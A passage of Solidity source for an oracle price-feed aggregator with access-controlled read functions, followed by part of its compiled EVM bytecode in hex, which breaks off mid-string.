rounds[_roundId].answer = rounds[prevId].answer; rounds[_roundId].answeredInRound = rounds[prevId].answeredInRound; rounds[_roundId].updatedAt = uint64(block.timestamp); delete details[_roundId]; } function eligibleForSpecificRound(address _oracle, uint32 _queriedRoundId) private view returns (bool _eligible) { if (rounds[_queriedRoundId].startedAt > 0) { return acceptingSubmissions(_queriedRoundId) && validateOracleRound(_oracle, _queriedRoundId).length == 0; } else { return delayed(_oracle, _queriedRoundId) && validateOracleRound(_oracle, _queriedRoundId).length == 0; } } function oracleRoundStateSuggestRound(address _oracle) private view returns ( bool _eligibleToSubmit, uint32 _roundId, int256 _latestSubmission, uint64 _startedAt, uint64 _timeout, uint128 _availableFunds, uint8 _oracleCount, uint128 _paymentAmount ) { Round storage round = rounds[0]; OracleStatus storage oracle = oracles[_oracle]; bool shouldSupersede = oracle.lastReportedRound == reportingRoundId || !acceptingSubmissions(reportingRoundId); // Instead of nudging oracles to submit to the next round, the inclusion of // the shouldSupersede bool in the if condition pushes them towards // submitting in a currently open round. if (supersedable(reportingRoundId) && shouldSupersede) { _roundId = reportingRoundId.add(1); round = rounds[_roundId]; _paymentAmount = paymentAmount; _eligibleToSubmit = delayed(_oracle, _roundId); } else { _roundId = reportingRoundId; round = rounds[_roundId]; _paymentAmount = details[_roundId].paymentAmount; _eligibleToSubmit = acceptingSubmissions(_roundId); } if (validateOracleRound(_oracle, _roundId).length != 0) { _eligibleToSubmit = false; } return ( _eligibleToSubmit, _roundId, oracle.latestSubmission, round.startedAt, details[_roundId].timeout, recordedFunds.available, oracleCount(), _paymentAmount ); } function updateRoundAnswer(uint32 _roundId) internal returns (bool, int256) { if (details[_roundId].submissions.length < details[_roundId].minSubmissions) { return (false, 0); } int256 newAnswer = Median.calculateInplace(details[_roundId].submissions); rounds[_roundId].answer = newAnswer; rounds[_roundId].updatedAt = uint64(block.timestamp); rounds[_roundId].answeredInRound = _roundId; latestRoundId = _roundId; emit AnswerUpdated(newAnswer, _roundId, now); return (true, newAnswer); } function validateAnswer( uint32 _roundId, int256 _newAnswer ) private { AggregatorValidatorInterface av = validator; // cache storage reads if (address(av) == address(0)) return; uint32 prevRound = _roundId.sub(1); uint32 prevAnswerRoundId = rounds[prevRound].answeredInRound; int256 prevRoundAnswer = rounds[prevRound].answer; // We do not want the validator to ever prevent reporting, so we limit its // gas usage and catch any errors that may arise. try av.validate{gas: VALIDATOR_GAS_LIMIT}( prevAnswerRoundId, prevRoundAnswer, _roundId, _newAnswer ) {} catch {} } function payOracle(uint32 _roundId) private { uint128 payment = details[_roundId].paymentAmount; Funds memory funds = recordedFunds; funds.available = funds.available.sub(payment); funds.allocated = funds.allocated.add(payment); recordedFunds = funds; oracles[msg.sender].withdrawable = oracles[msg.sender].withdrawable.add(payment); emit AvailableFundsUpdated(funds.available); } function recordSubmission(int256 _submission, uint32 _roundId) private { require(acceptingSubmissions(_roundId), "round not accepting submissions"); details[_roundId].submissions.push(_submission); oracles[msg.sender].lastReportedRound = _roundId; oracles[msg.sender].latestSubmission = _submission; emit SubmissionReceived(_submission, _roundId, msg.sender); } function deleteRoundDetails(uint32 _roundId) private { if (details[_roundId].submissions.length < details[_roundId].maxSubmissions) return; delete details[_roundId]; } function timedOut(uint32 _roundId) private view returns (bool) { uint64 startedAt = rounds[_roundId].startedAt; uint32 roundTimeout = details[_roundId].timeout; return startedAt > 0 && roundTimeout > 0 && startedAt.add(roundTimeout) < block.timestamp; } function getStartingRound(address _oracle) private view returns (uint32) { uint32 currentRound = reportingRoundId; if (currentRound != 0 && currentRound == oracles[_oracle].endingRound) { return currentRound; } return currentRound.add(1); } function previousAndCurrentUnanswered(uint32 _roundId, uint32 _rrId) private view returns (bool) { return _roundId.add(1) == _rrId && rounds[_rrId].updatedAt == 0; } function requiredReserve(uint256 payment) private view returns (uint256) { return payment.mul(oracleCount()).mul(RESERVE_ROUNDS); } function addOracle( address _oracle, address _admin ) private { require(!oracleEnabled(_oracle), "oracle already enabled"); require(_admin != address(0), "cannot set admin to 0"); require(oracles[_oracle].admin == address(0) || oracles[_oracle].admin == _admin, "owner cannot overwrite admin"); oracles[_oracle].startingRound = getStartingRound(_oracle); oracles[_oracle].endingRound = ROUND_MAX; oracles[_oracle].index = uint16(oracleAddresses.length); oracleAddresses.push(_oracle); oracles[_oracle].admin = _admin; emit OraclePermissionsUpdated(_oracle, true); emit OracleAdminUpdated(_oracle, _admin); } function removeOracle( address _oracle ) private { require(oracleEnabled(_oracle), "oracle not enabled"); oracles[_oracle].endingRound = reportingRoundId.add(1); address tail = oracleAddresses[uint256(oracleCount()).sub(1)]; uint16 index = oracles[_oracle].index; oracles[tail].index = index; delete oracles[_oracle].index; oracleAddresses[index] = tail; oracleAddresses.pop(); emit OraclePermissionsUpdated(_oracle, false); } function validateOracleRound(address _oracle, uint32 _roundId) private view returns (bytes memory) { // cache storage reads uint32 startingRound = oracles[_oracle].startingRound; uint32 rrId = reportingRoundId; if (startingRound == 0) return "not enabled oracle"; if (startingRound > _roundId) return "not yet enabled oracle"; if (oracles[_oracle].endingRound < _roundId) return "no longer allowed oracle"; if (oracles[_oracle].lastReportedRound >= _roundId) return "cannot report on previous rounds"; if (_roundId != rrId && _roundId != rrId.add(1) && !previousAndCurrentUnanswered(_roundId, rrId)) return "invalid round to report"; if (_roundId != 1 && !supersedable(_roundId.sub(1))) return "previous round not supersedable"; } function supersedable(uint32 _roundId) private view returns (bool) { return rounds[_roundId].updatedAt > 0 || timedOut(_roundId); } function oracleEnabled(address _oracle) private view returns (bool) { return oracles[_oracle].endingRound == ROUND_MAX; } function acceptingSubmissions(uint32 _roundId) private view returns (bool) { return details[_roundId].maxSubmissions != 0; } function delayed(address _oracle, uint32 _roundId) private view returns (bool) { uint256 lastStarted = oracles[_oracle].lastStartedRound; return _roundId > lastStarted + restartDelay || lastStarted == 0; } function newRound(uint32 _roundId) private view returns (bool) { return _roundId == reportingRoundId.add(1); } function validRoundId(uint256 _roundId) private view returns (bool) { return _roundId <= ROUND_MAX; } } interface AccessControllerInterface { function hasAccess(address user, bytes calldata data) external view returns (bool); } /** * @title SimpleWriteAccessController * @notice Gives access to accounts explicitly added to an access list by the * controller's owner. * @dev does not make any special permissions for externally, see * SimpleReadAccessController for that. */ contract SimpleWriteAccessController is AccessControllerInterface, Owned { bool public checkEnabled; mapping(address => bool) internal accessList; event AddedAccess(address user); event RemovedAccess(address user); event CheckAccessEnabled(); event CheckAccessDisabled(); constructor() public { checkEnabled = true; } /** * @notice Returns the access of an address * @param _user The address to query */ function hasAccess( address _user, bytes memory ) public view virtual override returns (bool) { return accessList[_user] || !checkEnabled; } /** * @notice Adds an address to the access list * @param _user The address to add */ function addAccess(address _user) external onlyOwner() { if (!accessList[_user]) { accessList[_user] = true; emit AddedAccess(_user); } } /** * @notice Removes an address from the access list * @param _user The address to remove */ function removeAccess(address _user) external onlyOwner() { if (accessList[_user]) { accessList[_user] = false; emit RemovedAccess(_user); } } /** * @notice makes the access check enforced */ function enableAccessCheck() external onlyOwner() { if (!checkEnabled) { checkEnabled = true; emit CheckAccessEnabled(); } } /** * @notice makes the access check unenforced */ function disableAccessCheck() external onlyOwner() { if (checkEnabled) { checkEnabled = false; emit CheckAccessDisabled(); } } /** * @dev reverts if the caller does not have access */ modifier checkAccess() { require(hasAccess(msg.sender, msg.data), "No access"); _; } } /** * @title SimpleReadAccessController * @notice Gives access to: * - any externally owned account (note that offchain actors can always read * any contract storage regardless of onchain access control measures, so this * does not weaken the access control while improving usability) * - accounts explicitly added to an access list * @dev SimpleReadAccessController is not suitable for access controlling writes * since it grants any externally owned account access! See * SimpleWriteAccessController for that. */ contract SimpleReadAccessController is SimpleWriteAccessController { /** * @notice Returns the access of an address * @param _user The address to query */ function hasAccess( address _user, bytes memory _calldata ) public view virtual override returns (bool) { return super.hasAccess(_user, _calldata) || _user == tx.origin; } } /** * @title AccessControlled FluxAggregator contract * @notice This contract requires addresses to be added to a controller * in order to read the answers stored in the FluxAggregator contract */ contract AccessControlledAggregator is FluxAggregator, SimpleReadAccessController { /** * @notice set up the aggregator with initial configuration * @param _link The address of the LINK token * @param _paymentAmount The amount paid of LINK paid to each oracle per submission, in wei (units of 10⁻¹⁸ LINK) * @param _timeout is the number of seconds after the previous round that are * allowed to lapse before allowing an oracle to skip an unfinished round * @param _validator is an optional contract address for validating * external validation of answers * @param _minSubmissionValue is an immutable check for a lower bound of what * submission values are accepted from an oracle * @param _maxSubmissionValue is an immutable check for an upper bound of what * submission values are accepted from an oracle * @param _decimals represents the number of decimals to offset the answer by * @param _description a short description of what is being reported */ constructor( address _link, uint128 _paymentAmount, uint32 _timeout, address _validator, int256 _minSubmissionValue, int256 _maxSubmissionValue, uint8 _decimals, string memory _description ) public FluxAggregator( _link, _paymentAmount, _timeout, _validator, _minSubmissionValue, _maxSubmissionValue, _decimals, _description ){} /** * @notice get data about a round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * @param _roundId the round ID to retrieve the round data for * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. This is 0 * if the round hasn't been started yet. * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. answeredInRound may be smaller than roundId when the round * timed out. answerInRound is equal to roundId when the round didn't time out * and was completed regularly. * @dev overridden funcion to add the checkAccess() modifier * @dev Note that for in-progress rounds (i.e. rounds that haven't yet * received maxSubmissions) answer and updatedAt may change between queries. */ function getRoundData(uint80 _roundId) public view override checkAccess() returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return super.getRoundData(_roundId); } /** * @notice get data about the latest round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. Consumers are encouraged to * use this more fully featured method over the "legacy" latestAnswer * functions. Consumers are encouraged to check that they're receiving fresh * data by inspecting the updatedAt and answeredInRound return values. * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. This is 0 * if the round hasn't been started yet. * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. answeredInRound may be smaller than roundId when the round * timed out. answerInRound is equal to roundId when the round didn't time out * and was completed regularly. * @dev overridden funcion to add the checkAccess() modifier * @dev Note that for in-progress rounds (i.e. rounds that haven't yet * received maxSubmissions) answer and updatedAt may change between queries. */ function latestRoundData() public view override checkAccess() returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return super.latestRoundData(); } /** * @notice get the most recently reported answer * @dev overridden funcion to add the checkAccess() modifier * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestAnswer() public view override checkAccess() returns (int256) { return super.latestAnswer(); } /** * @notice get the most recently reported round ID * @dev overridden funcion to add the checkAccess() modifier * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestRound() public view override checkAccess() returns (uint256) { return super.latestRound(); } /** * @notice get the most recent updated at timestamp * @dev overridden funcion to add the checkAccess() modifier * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestTimestamp() public view override checkAccess() returns (uint256) { return super.latestTimestamp(); } /** * @notice get past rounds answers * @dev overridden funcion to add the checkAccess() modifier * @param _roundId the round number to retrieve the answer for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getAnswer(uint256 _roundId) public view override checkAccess() returns (int256) { return super.getAnswer(_roundId); } /** * @notice get timestamp when an answer was last updated * @dev overridden funcion to add the checkAccess() modifier * @param _roundId the round number to retrieve the updated timestamp for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getTimestamp(uint256 _roundId) public view override checkAccess() returns (uint256) { return super.getTimestamp(_roundId); } }
0x608060405234801561001057600080fd5b50600436106103155760003560e01c806370dea79a116101a7578063a4c0ed36116100ee578063d4cc54e411610097578063e9ee6eeb11610071578063e9ee6eeb14610baa578063f2fde38b14610be5578063feaf968c14610c1857610315565b8063d4cc54e414610b67578063dc7f012414610b6f578063e2e4031714610b7757610315565b8063c1075329116100c8578063c107532914610b1e578063c35905c614610b57578063c937450014610b5f57610315565b8063a4c0ed3614610a52578063b5ab58dc14610ae4578063b633620c14610b0157610315565b80638823da6c1161015057806398e5b12a1161012a57806398e5b12a146109905780639a6fc8f5146109b7578063a118f24914610a1f57610315565b80638823da6c146108ac57806388aa80e7146108df5780638da5cb5b1461098857610315565b80637c2b0b21116101815780637c2b0b21146108945780638038e4a11461089c5780638205bf6a146108a457610315565b806370dea79a146108075780637284e4161461080f57806379ba50971461088c57610315565b806340884c521161026b57806358609e441161021457806364efb22b116101ee57806364efb22b146106f5578063668a0f02146107285780636b14daf81461073057610315565b806358609e44146106b2578063613d8fcc146106ba578063628806ef146106c257610315565b806350d25bcd1161024557806350d25bcd1461069a57806354fd4d50146106a257806357970e93146106aa57610315565b806340884c521461060d57806346fcff4c146106655780634f8fc3b51461069257610315565b8063313ce567116102cd5780633969c20f116102a75780633969c20f1461046d5780633a5381b5146105995780633d3d7714146105ca57610315565b8063313ce567146103db578063357ebb02146103f957806338aa4c721461041a57610315565b8063202ee0ed116102fe578063202ee0ed1461035757806320ed02751461037a57806323ca2903146103c157610315565b80630a7569831461031a5780631327d3d814610324575b600080fd5b610322610c20565b005b6103226004803603602081101561033a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610d05565b6103226004803603604081101561036d57600080fd5b5080359060200135610e26565b6103226004803603606081101561039057600080fd5b50803573ffffffffffffffffffffffffffffffffffffffff169060208101351515906040013563ffffffff16611046565b6103c9611236565b60408051918252519081900360200190f35b6103e361125a565b6040805160ff9092168252519081900360200190f35b610401611263565b6040805163ffffffff9092168252519081900360200190f35b610322600480360360a081101561043057600080fd5b506fffffffffffffffffffffffffffffffff8135169063ffffffff602082013581169160408101358216916060820135811691608001351661128b565b610322600480360360c081101561048357600080fd5b81019060208101813564010000000081111561049e57600080fd5b8201836020820111156104b057600080fd5b803590602001918460208302840111640100000000831117156104d257600080fd5b9193909290916020810190356401000000008111156104f057600080fd5b82018360208201111561050257600080fd5b8035906020019184602083028401116401000000008311171561052457600080fd5b91939092909160208101903564010000000081111561054257600080fd5b82018360208201111561055457600080fd5b8035906020019184602083028401116401000000008311171561057657600080fd5b919350915063ffffffff813581169160208101358216916040909101351661171f565b6105a16119a7565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610322600480360360608110156105e057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013590911690604001356119c3565b610615611c94565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610651578181015183820152602001610639565b505050509050019250505060405180910390f35b61066d611d04565b604080516fffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610322611d1c565b6103c9611e99565b6103c9611f54565b6105a1611f59565b610401611f75565b6103e3611f95565b610322600480360360208110156106d857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611f9b565b6105a16004803603602081101561070b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166120e3565b6103c961211a565b6107f36004803603604081101561074657600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561077e57600080fd5b82018360208201111561079057600080fd5b803590602001918460018302840111640100000000831117156107b257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506121d0945050505050565b604080519115158252519081900360200190f35b610401612205565b610817612231565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610851578181015183820152602001610839565b50505050905090810190601f16801561087e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103226122dd565b6103c96123df565b610322612403565b6103c96124e9565b610322600480360360208110156108c257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661259f565b61091e600480360360408110156108f557600080fd5b50803573ffffffffffffffffffffffffffffffffffffffff16906020013563ffffffff166126d7565b60408051981515895263ffffffff90971660208901528787019590955267ffffffffffffffff93841660608801529190921660808601526fffffffffffffffffffffffffffffffff91821660a086015260ff1660c08501521660e083015251908190036101000190f35b6105a1612890565b6109986128ac565b6040805169ffffffffffffffffffff9092168252519081900360200190f35b6109e0600480360360208110156109cd57600080fd5b503569ffffffffffffffffffff16612a05565b6040805169ffffffffffffffffffff96871681526020810195909552848101939093526060840191909152909216608082015290519081900360a00190f35b61032260048036036020811015610a3557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612ad4565b61032260048036036060811015610a6857600080fd5b73ffffffffffffffffffffffffffffffffffffffff82351691602081013591810190606081016040820135640100000000811115610aa557600080fd5b820183602082011115610ab757600080fd5b80359060200191846001830284011164010000000083111715610ad957600080fd5b509092509050612c0d565b6103c960048036036020811015610afa57600080fd5b5035612c88565b6103c960048036036020811015610b1757600080fd5b5035612d3f565b61032260048036036040811015610b3457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135612df6565b61066d61303c565b610401613054565b61066d613078565b6107f36130a4565b6103c960048036036020811015610b8d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166130ad565b61032260048036036040811015610bc057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166130e7565b61032260048036036020811015610bfb57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661321d565b6109e0613319565b60005473ffffffffffffffffffffffffffffffffffffffff163314610ca657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600e5460ff1615610d0357600e80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040517f3be8a977a014527b50ae38adda80b56911c267328965c98ddc385d248f53963890600090a15b565b60005473ffffffffffffffffffffffffffffffffffffffff163314610d8b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff9081169082168114610e2257600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84811691821790925560405190918316907fcfac5dc75b8d9a7e074162f59d9adcd33da59f0fe8dfb21580db298fc0fdad0d90600090a35b5050565b6060610e3233846133e6565b90507f00000000000000000000000000000000000000000000000000038d7ea4c68000821215610ec357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f76616c75652062656c6f77206d696e5375626d697373696f6e56616c75650000604482015290519081900360640190fd5b7f0000000000000000000000000000000000000000000000056bc75e2d63100000821315610f5257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f76616c75652061626f7665206d61785375626d697373696f6e56616c75650000604482015290519081900360640190fd5b8051819015610ff9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fbe578181015183820152602001610fa6565b50505050905090810190601f168015610feb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50611003836136f4565b61100d82846137e5565b60008061101985613905565b9150915061102685613ab5565b61102f85613c78565b811561103f5761103f8582613cef565b5050505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146110cc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b602052604090205460ff161515821515141561110557611231565b811561118d5773ffffffffffffffffffffffffffffffffffffffff83166000908152600b6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016831515177fffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000ff1661010063ffffffff8416021790556111d9565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffff0000000000000000001690555b60408051831515815263ffffffff83166020820152815173ffffffffffffffffffffffffffffffffffffffff8616927fc3df5a754e002718f2e10804b99e6605e7c701d95cec9552c7680ca2b6f2820a928290030190a25b505050565b7f0000000000000000000000000000000000000000000000056bc75e2d6310000081565b60055460ff1681565b6004547801000000000000000000000000000000000000000000000000900463ffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff16331461131157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600061131b611f95565b60ff1690508463ffffffff168463ffffffff16101561139b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f6d6178206d75737420657175616c2f657863656564206d696e00000000000000604482015290519081900360640190fd5b8363ffffffff168163ffffffff16101561141657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f6d61782063616e6e6f742065786365656420746f74616c000000000000000000604482015290519081900360640190fd5b63ffffffff8116158061143457508263ffffffff168163ffffffff16115b61149f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f64656c61792063616e6e6f742065786365656420746f74616c00000000000000604482015290519081900360640190fd5b6114ba866fffffffffffffffffffffffffffffffff16613e28565b600d546fffffffffffffffffffffffffffffffff16101561153c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f696e73756666696369656e742066756e647320666f72207061796d656e740000604482015290519081900360640190fd5b6000611546611f95565b60ff1611156115c45760008563ffffffff16116115c457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f6d696e206d7573742062652067726561746572207468616e2030000000000000604482015290519081900360640190fd5b85600460006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555084600460146101000a81548163ffffffff021916908363ffffffff16021790555083600460106101000a81548163ffffffff021916908363ffffffff16021790555082600460186101000a81548163ffffffff021916908363ffffffff160217905550816004601c6101000a81548163ffffffff021916908363ffffffff1602179055508363ffffffff168563ffffffff16600460009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff167f56800c9d1ed723511246614d15e58cfcde15b6a33c245b5c961b689c1890fd8f8686604051808363ffffffff1663ffffffff1681526020018263ffffffff1663ffffffff1681526020019250505060405180910390a4505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146117a557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60005b888110156117e9576117e18a8a838181106117bf57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16613e56565b6001016117a8565b5085841461185857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f6e6565642073616d65206f7261636c6520616e642061646d696e20636f756e74604482015290519081900360640190fd5b604d61187587611866611f95565b60ff169063ffffffff61410616565b11156118e257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f6d6178206f7261636c657320616c6c6f77656400000000000000000000000000604482015290519081900360640190fd5b60005b8681101561194f576119478888838181106118fc57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1687878481811061192557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1661417a565b6001016118e5565b5060045461199c906fffffffffffffffffffffffffffffffff8116908590859085907c0100000000000000000000000000000000000000000000000000000000900463ffffffff1661128b565b505050505050505050565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff838116600090815260086020526040902060020154620100009004163314611a6157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6f6e6c792063616c6c61626c652062792061646d696e00000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526008602052604090205481906fffffffffffffffffffffffffffffffff908116908216811015611b0e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f696e73756666696369656e7420776974686472617761626c652066756e647300604482015290519081900360640190fd5b611b306fffffffffffffffffffffffffffffffff82168363ffffffff61454e16565b73ffffffffffffffffffffffffffffffffffffffff8616600090815260086020526040902080547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff928316179055600d54611bb391700100000000000000000000000000000000909104168361454e565b600d80546fffffffffffffffffffffffffffffffff92831670010000000000000000000000000000000002908316179055600254604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff888116600483015293861660248201529051929091169163a9059cbb916044808201926020929091908290030181600087803b158015611c6257600080fd5b505af1158015611c76573d6000803e3d6000fd5b505050506040513d6020811015611c8c57600080fd5b505161103f57fe5b6060600c805480602002602001604051908101604052809291908181526020018280548015611cf957602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311611cce575b505050505090505b90565b600d546fffffffffffffffffffffffffffffffff1690565b611d24615e5a565b50604080518082018252600d546fffffffffffffffffffffffffffffffff808216835270010000000000000000000000000000000090910416602080830182905260025484517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015294519394600094611e11949373ffffffffffffffffffffffffffffffffffffffff909316926370a082319260248082019391829003018186803b158015611dd957600080fd5b505afa158015611ded573d6000803e3d6000fd5b505050506040513d6020811015611e0357600080fd5b50519063ffffffff6145e916565b82519091506fffffffffffffffffffffffffffffffff168114610e2257600d80547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff831617905560405181907ffe25c73e3b9089fac37d55c4c7efcba6f04af04cebd2fc4d6d7dbb07e1e5234f90600090a25050565b6000611edc336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b611f4757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611f4f61465a565b905090565b600381565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b600454700100000000000000000000000000000000900463ffffffff1681565b600c5490565b73ffffffffffffffffffffffffffffffffffffffff81811660009081526008602052604090206003015416331461203357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f6f6e6c792063616c6c61626c652062792070656e64696e672061646d696e0000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166000818152600860205260408082206003810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905560020180547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16336201000081029190911790915590519092917f0c5055390645c15a4be9a21b3f8d019153dcb4a0c125685da6eb84048e2fe90491a350565b73ffffffffffffffffffffffffffffffffffffffff808216600090815260086020526040902060020154620100009004165b919050565b600061215d336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b6121c857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611f4f61467d565b60006121dc8383614691565b806121fc575073ffffffffffffffffffffffffffffffffffffffff831632145b90505b92915050565b6004547c0100000000000000000000000000000000000000000000000000000000900463ffffffff1681565b6006805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156122d55780601f106122aa576101008083540402835291602001916122d5565b820191906000526020600020905b8154815290600101906020018083116122b857829003601f168201915b505050505081565b60015473ffffffffffffffffffffffffffffffffffffffff16331461236357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4d7573742062652070726f706f736564206f776e657200000000000000000000604482015290519081900360640190fd5b60008054337fffffffffffffffffffffffff00000000000000000000000000000000000000008083168217845560018054909116905560405173ffffffffffffffffffffffffffffffffffffffff90921692909183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350565b7f00000000000000000000000000000000000000000000000000038d7ea4c6800081565b60005473ffffffffffffffffffffffffffffffffffffffff16331461248957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600e5460ff16610d0357600e80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556040517faebf329500988c6488a0074e5a0a9ff304561fc5c6fc877aeb1d59c8282c348090600090a1565b600061252c336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b61259757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611f4f6146ce565b60005473ffffffffffffffffffffffffffffffffffffffff16331461262557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166000908152600f602052604090205460ff16156126d45773ffffffffffffffffffffffffffffffffffffffff81166000818152600f602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055815192835290517f3d68a6fce901d20453d1a7aa06bf3950302a735948037deb182a8db66df2a0d19281900390910190a15b50565b60008080808080808033321461274e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6f66662